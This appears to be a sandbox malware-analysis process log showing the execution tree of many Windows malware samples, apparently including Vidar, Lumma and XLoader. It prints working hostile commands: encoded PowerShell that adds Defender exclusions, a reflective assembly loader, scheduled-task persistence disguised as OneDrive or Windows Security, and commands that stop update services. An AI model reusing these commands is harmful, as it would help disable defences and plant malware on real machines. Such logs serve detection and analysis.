        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEQAZQBzAGsAdABvAHAAXABGAGkAbABlAHMAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEQAZQBzAGsAdABvAHAAXABGAGkAbABlAHMAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAZABvAGMAdQBtAGUAbgB0AHMAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQA=
        6⤵
        
        PID:4544
      - C:\Users\Admin\AppData\Local\Temp\yenaip.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yenaip.exe"
        6⤵
        
        PID:7280
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8360
      - C:\Users\Admin\AppData\Local\Temp\rjjhpc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rjjhpc.exe"
        6⤵
        
        PID:9000
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Updater.vbs"
        7⤵
        
        PID:8340
        
        C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe" -enc JABLAHgAcAByAGsAdABqAG8AbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABOAHkAdgBoAHkAeAB2AGsAaQAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAEsAeABwAHIAawB0AGoAbwBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEwAZQBwAGsAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABOAHkAdgBoAHkAeAB2AGsAaQAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQARABmAGEAdwBuAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEwAZQBwAGsAbAAgACkAOwAkAEMAYwB5AGMAaQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATgBsAGEAcwB6AGEAcQBoAGQAcQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABEAGYAYQB3AG4AbwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQATgBsAGEAcwB6AGEAcQBoAGQAcQAuAEMAbwBwAHkAVABvACgAIAAkAEMAYwB5AGMAaQAgACkAOwAkAE4AbABhAHMAegBhAHEAaABkAHEALgBDAGwAbwBzAGUAKAApADsAJABEAGYAYQB3AG4AbwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEwAZQBwAGsAbAAgAD0AIAAkAEMAYwB5AGMAaQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQATABlAHAAawBsACkAOwAgACQARABqAGkAaABjAGMAaABtAHoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABMAGUAcABrAGwAKQA7ACAAJABKAG4AegBhAHgAagAgAD0AIAAkAEQAagBpAGgAYwBjAGgAbQB6AC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASgBuAHoAYQB4AGoALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEoAbgB6AGEAeABqAC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
        8⤵
        
        PID:10916
        
        C:\Users\Admin\AppData\Local\Temp\OneDrive.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OneDrive.exe"
        7⤵
        
        PID:5356
    - - C:\Users\Admin\Desktop\Files\CleanerV2.exe
        
        "C:\Users\Admin\Desktop\Files\CleanerV2.exe"
        5⤵
        
        PID:9160
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "CleanerV2" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2720
    - - C:\Users\Admin\Desktop\Files\Extension2.exe
        
        "C:\Users\Admin\Desktop\Files\Extension2.exe"
        5⤵
        
        PID:9124
    - - C:\Users\Admin\Desktop\Files\exbuild.exe
        
        "C:\Users\Admin\Desktop\Files\exbuild.exe"
        5⤵
        
        PID:9768
      - C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
        6⤵
        
        PID:8996
    - - C:\Users\Admin\Desktop\Files\yxrd0ob7.exe
        
        "C:\Users\Admin\Desktop\Files\yxrd0ob7.exe"
        5⤵
        
        PID:1776
      - C:\Users\Admin\Desktop\Files\yxrd0ob7.exe
        
        "C:\Users\Admin\Desktop\Files\yxrd0ob7.exe"
        6⤵
        
        PID:8588
      - C:\Users\Admin\Desktop\Files\yxrd0ob7.exe
        
        "C:\Users\Admin\Desktop\Files\yxrd0ob7.exe"
        6⤵
        
        PID:9096
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1776 -s 248
        6⤵
        Program crash
        
        PID:8132
    - - C:\Users\Admin\Desktop\Files\vidar.exe
        
        "C:\Users\Admin\Desktop\Files\vidar.exe"
        5⤵
        
        PID:10232
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\vidar.exe" & rd /s /q "C:\ProgramData\GHDBAFIIECBF" & exit
        6⤵
        
        PID:6976
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:9752
    - - C:\Users\Admin\Desktop\Files\npp.exe
        
        "C:\Users\Admin\Desktop\Files\npp.exe"
        5⤵
        
        PID:6284
      - C:\Users\Admin\AppData\Local\Temp\3207433629.exe
        
        C:\Users\Admin\AppData\Local\Temp\3207433629.exe
        6⤵
        
        PID:8004
    - - C:\Users\Admin\Desktop\Files\LummaC222222.exe
        
        "C:\Users\Admin\Desktop\Files\LummaC222222.exe"
        5⤵
        
        PID:3712
    - - C:\Users\Admin\Desktop\Files\gawdth.exe
        
        "C:\Users\Admin\Desktop\Files\gawdth.exe"
        5⤵
        
        PID:7432
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
        6⤵
        
        PID:9672
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
        
        clamer.exe -priverdD
        7⤵
        
        PID:248
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\lofsawd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\lofsawd.exe"
        8⤵
        
        PID:9740
    - - C:\Users\Admin\Desktop\Files\myrdx.exe
        
        "C:\Users\Admin\Desktop\Files\myrdx.exe"
        5⤵
        
        PID:7956
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:10192
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7956 -s 280
        6⤵
        Program crash
        
        PID:5544
    - - C:\Users\Admin\Desktop\Files\unison.exe
        
        "C:\Users\Admin\Desktop\Files\unison.exe"
        5⤵
        
        PID:8372
    - - C:\Users\Admin\Desktop\Files\o.exe
        
        "C:\Users\Admin\Desktop\Files\o.exe"
        5⤵
        
        PID:10164
      - C:\Users\Admin\sysklnorbcv.exe
        
        C:\Users\Admin\sysklnorbcv.exe
        6⤵
        
        PID:6924
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:4616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6836
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        7⤵
        
        PID:8360
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:9072
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        
        PID:3804
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:1252
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        
        PID:9480
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        8⤵
        Launches sc.exe
        
        PID:7264
        
        C:\Users\Admin\AppData\Local\Temp\274947545.exe
        
        C:\Users\Admin\AppData\Local\Temp\274947545.exe
        7⤵
        
        PID:5252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:7440
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:12308
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:7036
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:9364
        
        C:\Users\Admin\AppData\Local\Temp\2191610088.exe
        
        C:\Users\Admin\AppData\Local\Temp\2191610088.exe
        7⤵
        
        PID:4680
        
        C:\Users\Admin\AppData\Local\Temp\653218750.exe
        
        C:\Users\Admin\AppData\Local\Temp\653218750.exe
        7⤵
        
        PID:8340
        
        C:\Users\Admin\AppData\Local\Temp\2489716750.exe
        
        C:\Users\Admin\AppData\Local\Temp\2489716750.exe
        7⤵
        
        PID:12528
    - - C:\Users\Admin\Desktop\Files\Identification-1.exe
        
        "C:\Users\Admin\Desktop\Files\Identification-1.exe"
        5⤵
        
        PID:6516
    - - C:\Users\Admin\Desktop\Files\Meeting-https.exe
        
        "C:\Users\Admin\Desktop\Files\Meeting-https.exe"
        5⤵
        
        PID:8256
    - - C:\Users\Admin\Desktop\Files\cc2.exe
        
        "C:\Users\Admin\Desktop\Files\cc2.exe"
        5⤵
        
        PID:9708
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1616
    - - C:\Users\Admin\Desktop\Files\ewrvuh.exe
        
        "C:\Users\Admin\Desktop\Files\ewrvuh.exe"
        5⤵
        
        PID:852
    - - C:\Users\Admin\Desktop\Files\file.exe
        
        "C:\Users\Admin\Desktop\Files\file.exe"
        5⤵
        
        PID:9536
    - - C:\Users\Admin\Desktop\Files\windowsexecutable.exe
        
        "C:\Users\Admin\Desktop\Files\windowsexecutable.exe"
        5⤵
        
        PID:10548
    - - C:\Users\Admin\Desktop\Files\xloaderProtected.exe
        
        "C:\Users\Admin\Desktop\Files\xloaderProtected.exe"
        5⤵
        
        PID:9112
      - C:\Users\Admin\Desktop\Files\xloaderProtected.exe
        
        "C:\Users\Admin\Desktop\Files\xloaderProtected.exe"
        6⤵
        
        PID:12400
    - - C:\Users\Admin\Desktop\Files\oclo.exe
        
        "C:\Users\Admin\Desktop\Files\oclo.exe"
        5⤵
        
        PID:6300
    - - C:\Users\Admin\Desktop\Files\IT_plan_cifs.exe
        
        "C:\Users\Admin\Desktop\Files\IT_plan_cifs.exe"
        5⤵
        
        PID:13080
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2E8F.tmp\2E90.tmp\2E91.bat C:\Users\Admin\Desktop\Files\IT_plan_cifs.exe"
        6⤵
        
        PID:2296
        
        C:\Windows\system32\net.exe
        
        net use /delete * /y
        7⤵
        Indicator Removal: Network Share Connection Removal
        
        PID:10184
    - - C:\Users\Admin\Desktop\Files\433412.exe
        
        "C:\Users\Admin\Desktop\Files\433412.exe"
        5⤵
        
        PID:12724
    - - C:\Users\Admin\Desktop\Files\pothjadwtrgh.exe
        
        "C:\Users\Admin\Desktop\Files\pothjadwtrgh.exe"
        5⤵
        
        PID:12864
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12864 -s 1392
        6⤵
        Program crash
        
        PID:9032
    - - C:\Users\Admin\Desktop\Files\SemiconductorNot.exe
        
        "C:\Users\Admin\Desktop\Files\SemiconductorNot.exe"
        5⤵
        
        PID:12600
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Continues Continues.cmd & Continues.cmd & exit
        6⤵
        
        PID:5880
    - - C:\Users\Admin\Desktop\Files\dmshell.exe
        
        "C:\Users\Admin\Desktop\Files\dmshell.exe"
        5⤵
        
        PID:11024
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd
        6⤵
        
        PID:4636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5360,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4888 /prefetch:8
    3⤵
    PID:660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3008
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:5220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5960
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:3760
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2760
- C:\Users\Admin\AppData\Local\Temp\719580\RegAsm.exe
  C:\Users\Admin\AppData\Local\Temp\719580\RegAsm.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:7936
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7184
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7196
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7216
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7228
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7232
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7252
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7264
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6288
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7396
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:8932
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    PID:9164
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1932 -parentBuildID 20240401114208 -prefsHandle 1880 -prefMapHandle 1872 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0438317b-2406-48db-924d-43c0a31b4477} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" gpu
      4⤵
      PID:9880
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20240401114208 -prefsHandle 2384 -prefMapHandle 2380 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1f78b635-1b7c-417f-bb58-3b934db779ba} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" socket
      4⤵
      PID:3896
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3288 -childID 1 -isForBrowser -prefsHandle 3280 -prefMapHandle 3276 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7059f711-6a50-4767-8552-7ecfa9e87c07} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" tab
      4⤵
      PID:10224
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4248 -childID 2 -isForBrowser -prefsHandle 4240 -prefMapHandle 2708 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0f59458-12d1-4f31-afbf-f5cdaac77e04} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" tab
      4⤵
      PID:8684
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5156 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 5148 -prefMapHandle 5140 -prefsLen 29195 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cf49976-657a-40f9-894e-7cbeb6e0ef4b} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" utility
      4⤵
      PID:9740
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3464 -childID 3 -isForBrowser -prefsHandle 5512 -prefMapHandle 4236 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0016f11-3bba-4bec-b7ca-4638c4ac5b36} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" tab
      4⤵
      PID:2012
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5820 -childID 4 -isForBrowser -prefsHandle 5740 -prefMapHandle 5744 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {94df1489-499a-48dc-a182-4873aa0f5925} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" tab
      4⤵
      PID:2200
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5948 -childID 5 -isForBrowser -prefsHandle 6024 -prefMapHandle 6020 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a114c982-967f-463c-b107-193bd838545b} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" tab
      4⤵
      PID:2796
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6248 -childID 6 -isForBrowser -prefsHandle 6240 -prefMapHandle 6236 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {326000b0-6ce3-409d-b076-c837ad207e3c} 9164 "\\.\pipe\gecko-crash-server-pipe.9164" tab
      4⤵
      PID:8864
- C:\Users\Admin\AppData\Local\Temp\ED10.tmp.x.exe
  "C:\Users\Admin\AppData\Local\Temp\ED10.tmp.x.exe"
  2⤵
  PID:9968
- C:\Users\Admin\AppData\Local\Temp\4D81.tmp.zx.exe
  "C:\Users\Admin\AppData\Local\Temp\4D81.tmp.zx.exe"
  2⤵
  PID:9076
- - C:\Users\Admin\AppData\Local\Temp\4D81.tmp.zx.exe
    "C:\Users\Admin\AppData\Local\Temp\4D81.tmp.zx.exe"
    3⤵
    PID:8808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-http2 --use-spdy=off --disable-quic
  2⤵
  PID:5028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
